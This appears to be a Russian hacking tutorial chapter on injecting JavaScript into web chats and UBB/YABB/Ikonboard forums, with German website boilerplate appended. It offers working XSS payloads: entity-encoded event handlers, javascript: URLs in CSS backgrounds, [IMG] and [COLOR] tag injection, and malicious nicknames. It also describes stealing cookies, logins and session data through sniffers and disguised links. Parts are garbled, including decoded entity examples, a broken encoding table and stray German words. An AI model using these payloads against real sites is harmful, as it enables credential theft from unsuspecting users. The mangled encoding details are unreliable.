    Как видно из предыдущей главы, в чате Т свободно можно было втиснуть скрипты, и естественно, что я творил там что хотел (вплоть до того, что назначал себя админом 255 уровня :) . Это конечно сильно не нравилось разработчику чата (с которым я кстати активно общался), и он как бы "пофиксил" баг следующим способом: в сообщениях чатлан он заменял слово script на script , где латинские буквы с и p были заменены на такие же, но из русской раскладки, и естественно, HTML не понимал их. В результате комбинация типа ` style=background-image:url(javascript:alert('Победа_будет_за_нами!')) не работала. Несмотря на то, что по прежнему можно было сниферить чат и ставить обработчики на события типа onmouseover (где префикс javascript: не обязателен, поскольку он по умолчанию считается языком обработчиков событий), но невозможность вставить скрипт, который бы сам запускался меня не устраивала. И тут меня снова выручила многоступенчатая система трансляции HTML. Как уже было замечено, при компиляции HTML в первую очередь компилирует теги и их параметры, а лишь затем компилируется содержимое обработчиков. А теперь вспомним, что каждый символ помимо "обычного" представления имеет закодированное представление (типа ½ или ½ ), которое превращается в обычный символ, при трансляции HTML. Возникает вопрос: на какой именно стадии трансляции происходит раскодировка кода в символ? Несложные эксперименты показывают, что последовательность такова:

    Компиляция HTML > Раскодировка символов > Компиляция обработчиков

    А посему, содержимое обработчиков можно не стеняясь посылать в закодированном виде, при этом фильтры чата его пропускают, а HTML уже на этапе трансляции превращает их в нормальный вид и исполняет! Проверте сами на таком примере (обработчик alert() заменен кодовой комбинацией):

    <code>&lt;font onclick=alert()&gt;Click me&lt;/font&gt;</code>

    Таким образом послав комбинацию

    ` style=background-image:url(javascript:alert('Победа_будет_за_нами!')) на экране чатовцев послушно появился алерт :) .

    Замечу две особенности : 1. Содержимое тега

    &lt;Skript&gt; нельзя посылать в закодированном виде, его содержимое не раскодируется HTML-ом; 2. Знак = после имени параметра тега и кавычки, ограничивающие обработчики, транслируются до раскодировки, и поэтому их посылать в закодированном виде нельзя (а жаль :{ ).

    Описанная особенность HTML значительно расширяет множество "крякаемых" чатов. Ведь достаточно что бы чат пропускал в поле ника символы & и ; , а в теле чата ник фигурировал в каком нибудь обработчике (типа href="javascript:msg('ник')" ), и в результате, залогинившись под ником '+alert()+' (который после компиляции будет выглядеть как '+alert()+' ), мы получаем скрипт срабатывающий при нажатии на ник.

    Aber das ist noch nicht alles. Оказывается джаваскриптовский обработчик в параметре href можно писать и в юникоде! Вместо ника '+alert()+' можно логинится под '%2Balert()%2B' , результат будет тот же :) . Однако раскодировка юникода проходит только в обработчиках href (или в других, где должен присутствовать адрес). В других обработчиках (например onclick ) раскодировка юникода не происходит.

    Спустя некоторое время, админ запретил символ обратного апострофа в именах юзеров, и ник `='A'=` больше не проходил. Немного подумав, я нашел другой ник, который фактически делал то же самое: Don't= . Принцип его работы я думаю вы поймете сами (если вы читали предыдущие главы).

    Взлом UBB / YABB / IB форумов

    1. Через UBB тег [IMG] . В UBB/YABB форумах можно вставлять картинки, указав URL адрес в UBB теге [IMG]. Например: [IMG]http://myserver.ru/logo.gif[/IMG] такой тег вставляет в сообщение картинку с адресом http://myserver.ru/logo.gif . При этом ничего не мешает вставить например такой тег [IMG]javascript:alert()[/IMG]. Как вы догадываетесь, такой адрес будет выдавать каждому кто посмотрит на ваше сообщение алерт вместо картинки. Правда некоторые версии UBB требуют что бы указанный адрес указывал на файл с расширениями gif или jpg , но эта проблема легко решаема. Просто ставим в конце точку с запятой и имя файла картинки : [IMG]javascript:alert();a.jpg[/IMG] . Конечно это повлечет ошибку джава скрипта, но нам уже все равно, поскольку первая часть скрипта сработает :) . Есть еще одна дыра в теге IMG: в некоторых версиях этот тег пропускает кавычку, как результат работает следующий пример:

    [IMG]"s=`s.jpg[/IMG]`style="background-image:url('javascript:alert()')" . Результат- тот же самый что и в первом примере.

    Приведенный глюк работает как в UBB так и в YABB форумах. Учитывая еще тот факт, что UBB форум хранит пароль и логин пользователя в кукисах, которые читаются страничкой форума, и хранятся в переменных, то запустив в тело чата сниффер, мы можем легко выковырять пароли и логины всякого пользователя, который посмотрит на наш мессаг :) ).

    2. Как уже отмечалось, UBB форум хранит логин, ник и пароль пользователя в кукисах. Оказывается, что в некоторых случаях UBB форум берет ник пользователя не из своей БД, а из кукиса пользователя, при этом проверки ника на теги и любые символы не происходит! Таким образом, если в отсылаемом на сервер мессаге подделать кукис, и вставить вместо ника тег скрипта, то форум спокойно вставит этот тег в тело форума! Правда разработчики перемудрили, и в некоторых частях форума вставляются ники из БД, а в некоторых - из кукисов. Мне известны три случая, когда ник берется из кукиса: 1. На главной странице форума (там где пишется кто автор последнего сообщения в такой-то теме) 2. При ответе на реплику "с цитированием" - во фразе цитирования. 3. При редактировании сообщения (во фразе "отредактированно тем-то"). Отмечу, что 3.06.2002 фирма UBB выпустила патч на дырку в кукисах (не без моего скромного участия). Однако, несмотря на это, большинство форумов по прежнему используют старые версии :) ).

    3. А вот еще одна дырка в форумах http://www.ikonboard.com: помимо того, что там срабатывает дырка связанная с тегом [IMG] , там есть еще и дырка в теге [COLOR] . Например посылая в форум такое сообщение

    [color=red;background-image:url('javascript:alert()')]Привет[/color] на экран каждого кто просмотрит ваше сообщение выскочет алерт. Суть дыры думаю не стоит объяснять: понятно и так.

    Всякая всячина

    Система безопасности аля микрософт подразумевает невозможность доступа с загруженной HTML странички к любой информации на машине, в том числе и к другим страничкам, открытым в данный момент. Однако эта система имеет некоторые странности в работе. Так, например, метод window.open("http://ya.ru", "privat") джаваскрипта должен открывать новое окно с именем "privat" и загружать в него сайт ya.ru. Это так и происходит если... окно с таким именем еще не открыто. Если же одноименное окно или фрейм уже открыт, то сайт загружается в уже открытое окно (или фрейм). А прикол заключатеся в том, что это окно может не иметь никакого отношения к нашему скрипту, и вообще принадлежать другому сайту )). Убедитесь сами: Откройте в новом окне ссылку: http://chat.bigmir.net и зайдите в чат. А потом кликнете здесь: тыц , после чего посмотрите на свой приват в чате :) ). Красиво ?

    В некоторых чатах существет автоматическая вставка ссылок. А ведь можно послать и ссылку на сниффер :) . Типа вы посылаете сообщение Друг Билли (Вилли/Джони/Джимми)! Посмотри какой классный порносайт я откопал http://fig.vam.com/cgi-bin/girl.cgi , а в общак вставляется

    Друг Билли (Вилли/Джони/Джимми)! Посмотри какой классный порносайт я откопал &amp;lt;a href=http://fig.vam.com/cgi-bin/girl.cgi target=_blank&gt;http://fig.vam.com/cgi-bin/girl.cgi После чего ваш друг смело тыкает в ссылку и ничего не увидев, советует вам выпить рассольчика, на что вы виновато каетесь Ой, Билли (Вилли/Джони/Джимми), я ошибся :( , держа в руках IP адрес , номер сессии или пароль с логином вашегособеседника :) .

    А вот еще один фокус на грани фантастики. Этот фокус я услышал от одного из админов чата. Правда сам его не проверял, но полагаю что это вполне может работать. Как вы наверное видели, во многих чатах есть счетчики посетителей. Всякие там Spy или top100 . А ведь счетчик автоматически фиксирует множество параметров посетителей, в том числе IP адреса, парамтеры среды окружения, поле referer и т.д., то есть фактически является сниффером. А статистика счетчика может быть открыта для всех... Улавливаете :)

    Хочу еще раз остановится на взломе чатов через цвет. Некоторые чаты пропускают любые символы в поле цвета, однако при вставке в тело чата, перед введенным значением цвета, вставляют символ # . Например если пользователь задал цвет aaff00 , то в тело чата этот цвет вставится в виде <font color=#aaff00> . В силу особенностей атрибута color, выяснилось следующее: если впереди цвета автоматом встявляется символ # , то чат ломается только если поле цвета пропускает пробел. Если же цвет пропускает любые символы, но не пробел, то взломать чат нельзя (можно только вызвать глюки например тегом <xml> задаваемым вместо цвета). Не буду объяснять почему это происходит, просто примите это на веру :) .

    В предыдущих главах уже упоминалось про метод вставки скриптов через background-image:url(javascript:...) . Эту запись можно сократить до background:url(javascript:...) . Результат тот же самый. Часто в чатах или форумах стоят фильтрв на ключевые слова типа javascript. Это можно обходить следующим образом: background:url(VBScriptt:alert()) Or background:expression(alert())
    Табличка часто применяемых кодов:
    Symbol Десятичная кодировка 16-ая кодировка* Символьная кодировка Unicode
    " " " " "
    " " "   "
    ` ` `   `
    <пробел>   +
    = = =   %3D
    < < < < %3C
    Aufgaben Aufgaben Aufgaben Aufgaben %3E
    \ \ \   %5C
    % % %   %
    + + +   %2B
    <короткий дефис> ­ ­ ­ %AD
    & & & & &

    *-в некоторых случаях (если символ стоит в конце строки) точку с запятой можно опустить.

    Jetzt können alle Artikel veröffentlichen
    Versuche es zuerst!
    Artikel schreiben

    Es wird nicht überflüssig für Ihre Freunde, diese Informationen zu lernen, teilen Sie ihren Artikel mit ihnen!

    Mochte es Abonnieren Sie RSS news!
    Sie können auch shram.kiev.ua unterstützen, drücken:
    Expand / Collapse Erweitern / Einklappen mit Kommentaren

    Kommentare

    Wenn Sie sich kommentieren, denken Sie daran, dass der Inhalt und der Ton Ihrer Botschaft die Gefühle von echten Menschen verletzen können, Respekt und Toleranz gegenüber Ihren Gesprächspartnern zeigen, auch wenn Sie ihre Meinung nicht teilen, Ihr Verhalten in den Bedingungen der Freiheit des Ausdrucks und der Anonymität, die vom Internet bereitgestellt wird, ändert sich Nicht nur virtuell, sondern auch die reale Welt. Alle Kommentare sind vom Index verborgen, Spam wird kontrolliert.
    Darlehen frei mit einer Grenze von 15000 UAH.